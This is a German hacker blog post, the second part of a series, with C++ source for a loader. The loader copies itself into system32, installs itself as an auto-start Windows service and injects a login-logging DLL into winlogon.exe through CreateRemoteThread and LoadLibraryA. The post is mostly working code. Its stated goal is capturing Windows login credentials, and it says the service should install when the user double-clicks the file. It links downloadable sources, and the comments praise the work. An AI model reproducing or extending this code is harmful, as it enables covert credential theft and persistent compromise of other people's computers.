Baudot-Code Blogging /by CCiTT#5 & S3RB31

7Feb/115

Winlogon loggen? - Part 2 - Der Loader

Tag auch,

ich bins mal wieder. Es hat doch ein wenig länger gedauert als gedacht, aber jetzt ist der Artikel endlich fertig.

Dann mal los!

Nachdem wir uns unsere DLL, mit der wir die Login-Daten loggen, also gebastelt haben müssen wir die DLL ja noch irgendwie in den winlogon-Prozess injecten. Das problem ist, das der Autostart nichts nützen würde, da man den Loader ja vor dem Login starten muss. Was bleibt einem also übrig? Richtig! Treiber oder Services.

Da sich ein Treiber wohl vom Aufwand her nicht lohnen würde, ausser ihr schreibt grad ein Rootkit, habe ich mich für ein Service entschieden. Da ich in diesem Artikel nicht erläutern möchte, wie genau so ein Service funktionert, verweise ich an dieser Stelle einfach mal auf folgenden Artikel von Jarmo Muukka.

http://www.muukka.net/programming/service/

Ich habe auch seinen Beispiel-Service als Grundgerüst benutzt. Den Code des Beispiel-Services findet ihr hier:

http://www.muukka.net/programming/service/Beeper Service.cpp

Nun, was also tun? Im Grunde ist es noch einfacher als die DLL. Wir sorgen zunächst mal dafür, das der Service nicht mehr in einer Loop hängt. Dazu löschen wir folgenden Code:

//line 73 - 77:
do
{
	Beep( 1000, 100 );
}
while ( WaitForSingleObject( stopServiceEvent, 5000 ) == WAIT_TIMEOUT );

Dannach löschen wir sämtlichen Code, der was mit stopServiceEvent zu tun hat, denn dieses Event brauchen wir nicht mehr.

Als nächstes sollten wir uns überlegen, ob es sinnvoll ist, den Loader tatsächlich aus dem Ordner zu starten, wo der User ihn anklickt? Nein! Darum schreiben wir die InstallService-Funktion ein wenig um:

void InstallService()
{
	SC_HANDLE serviceControlManager = OpenSCManager(0, 0, SC_MANAGER_CREATE_SERVICE);
	if(serviceControlManager)
	{
		char currentPath[ _MAX_PATH + 1 ];
		char installPath[ _MAX_PATH + 1 ];
		if(getCurrentPath(currentPath, sizeof(currentPath)/sizeof(currentPath[0])) == FALSE ||
			getInstallPath(installPath, sizeof(installPath)/sizeof(installPath[0])) == FALSE) {
				return;
		}
		if(CopyFile(currentPath, installPath, FALSE) != 0) {
			char installPath[ _MAX_PATH + 1 ];
			if(getInstallPath(installPath, sizeof(installPath)/sizeof(installPath[0])) == FALSE)
				return;
			SC_HANDLE scService = CreateService(serviceControlManager,
								serviceName, serviceName,
								SERVICE_START, SERVICE_WIN32_OWN_PROCESS,
								SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, installPath,
								0, 0, 0, 0, 0);
			if(scService)
				CloseServiceHandle(scService);
		}
	}
	CloseServiceHandle(serviceControlManager);
}

Wie ihr seht, kopiert sich der Service so, bevor er sich als Service einträgt, in ein anderes Verzeichniss, aber welches? Ich habe diese beiden Funktionen geschrieben:

BOOL getCurrentPath(char *pszPath, size_t cchPath)
{
	char currentPath[ _MAX_PATH + 1 ];
	if ( GetModuleFileName( 0, currentPath, sizeof(currentPath)/sizeof(currentPath[0]) ) > 0 ) {
		StringCchCopy(pszPath, cchPath, currentPath);
		return TRUE;
	}
	return FALSE;
}
BOOL getInstallPath(char *pszPath, size_t cchPath)
{
	char systemPath[ _MAX_PATH + 1 ];
	if ( GetEnvironmentVariable("SystemRoot", systemPath, sizeof(systemPath)/sizeof(systemPath[0])) > 0 ) {
		StringCchCat(systemPath, sizeof(systemPath)/sizeof(systemPath[0]), "\\system32\\");
		StringCchCat(systemPath, sizeof(systemPath)/sizeof(systemPath[0]), installName);
		StringCchCopy(pszPath, cchPath, systemPath);
		return TRUE;
	}
	return FALSE;
}

Was die Funktionen machen sollte klar sein.

Was fehlt uns nun noch? Achja, injecten müssen wir ja.

char dllPath[ _MAX_PATH + 1 ];
getDLLPath(dllPath, MAX_PATH + 1);
InjectDLL("winlogon.exe", dllPath);

Dazu fehlt uns:

BOOL getDLLPath(char *pszPath, size_t cchPath)
{
	char dllPath[ _MAX_PATH + 1 ];
	if (GetModuleFileName( 0, dllPath, sizeof(dllPath)/sizeof(dllPath[0]) ) > 0 ) {
		for(int i = strlen(dllPath); i > 0; i--) {
			if(dllPath[i] == '\\') {
				dllPath[i+1] = '\0';
				break;
			}
		}
		StringCchCat(dllPath, sizeof(dllPath)/sizeof(dllPath[0]), librarayName);
		StringCchCopy(pszPath, cchPath, dllPath);
		return TRUE;
	}
	return FALSE;
}

Und meine Lieblingsfunktion:

BOOL InjectDLL(LPCSTR lpszProcess, LPCSTR lpszDLLPath)
{
	HMODULE hUserDLL;
	BOOL bSuccess = FALSE;
	HANDLE hProcess, hThread;
	LPVOID lpBaseAddr, lpFuncAddr;
	DWORD dwMemSize, dwExitCode, dwProcessId = 0;
	if(lpszProcess != NULL) {
		HANDLE hProcesses = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
		if(hProcesses != NULL) {
			PROCESSENTRY32 pe32 = { sizeof(PROCESSENTRY32) };
			if(Process32First(hProcesses, &pe32)) {
				do {
					if(!strcmp(lpszProcess, pe32.szExeFile)){
						dwProcessId = pe32.th32ProcessID;
						break;
					}
				} while(Process32Next(hProcesses, &pe32));
			}
			CloseHandle(hProcesses);
		}
	}
	if(dwProcessId == 0) return FALSE;
	if((hProcess = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_QUERY_INFORMATION|PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ, FALSE, dwProcessId))){
		dwMemSize = lstrlen(lpszDLLPath) + 1;
		if((lpBaseAddr = VirtualAllocEx(hProcess, NULL, dwMemSize, MEM_COMMIT, PAGE_READWRITE))){
			if(WriteProcessMemory(hProcess, lpBaseAddr, lpszDLLPath, dwMemSize, NULL)){
				if((hUserDLL = LoadLibrary("kernel32.dll"))){
					if((lpFuncAddr = GetProcAddress(hUserDLL, TEXT("LoadLibraryA")))){
						if((hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpFuncAddr, lpBaseAddr, 0, NULL))){
							WaitForSingleObject(hThread, INFINITE);
							if(GetExitCodeThread(hThread, &dwExitCode)) {
								bSuccess = (dwExitCode != 0) ? TRUE : FALSE;
							}
							CloseHandle(hThread);
						}
					}
					FreeLibrary(hUserDLL);
				}
			}
			VirtualFreeEx(hProcess, lpBaseAddr, 0, MEM_RELEASE);
		}
		CloseHandle(hProcess);
	}
	return bSuccess;
}

Diese Funktion macht nichts anderes, als die ProzessID des Prozesses zu finden, freien Speicher im Prozess zu allokieren und dort den Pfad zu DLL hinzuschreiben. Dann holt sich die Funktion die Addresse von LoadLibraryA, und startet die Funktion, mit der Addresse des Chars, welchen wir zuvor ja mit WriteProcessMemory in unser Zielprozess geschrieben haben, als Parameter. Dannach wird auf den Thread gewartet, sämtlicher Speicher wieder freigegeben, und returned.

Das einzige was ihr nun noch machen müsst, ist die DLL vom Loader aus, zu droppen, und den Service beim Doppelklick zu installieren, und nicht wenn man ihn mit einem Parameter startet. Dazu gibt es viele Möglichkeiten, aber das überlasse ich euch.

Hoffentlich haben euch die Artikel gefallen, wenn ihr Ideen, Anregungen oder Fehler im Source findet, schreibt es in die Kommentare.

So far,
S3RB31

http://www.multiupload.com/0R7ETOCKKX

Beide Artikel, inkl. Demo-Sources, gibt es hier zum downloaden:

http://www.multiupload.com/6XU97BI3QJ

Autor Info's mit anzeigen S3RB31

veröffentlicht unter: Coding Kommentar schreiben
Kommentare (5) Trackbacks (0)
  1. Hi interessanter Artikel.

    Könntest du beide Artikel auch als download bereitstellen ?

  2. Schön gemacht.

  3. Thx und download kommt.

  4. So DL is drin. =)


Leave a comment

(required)

Noch keine Trackbacks.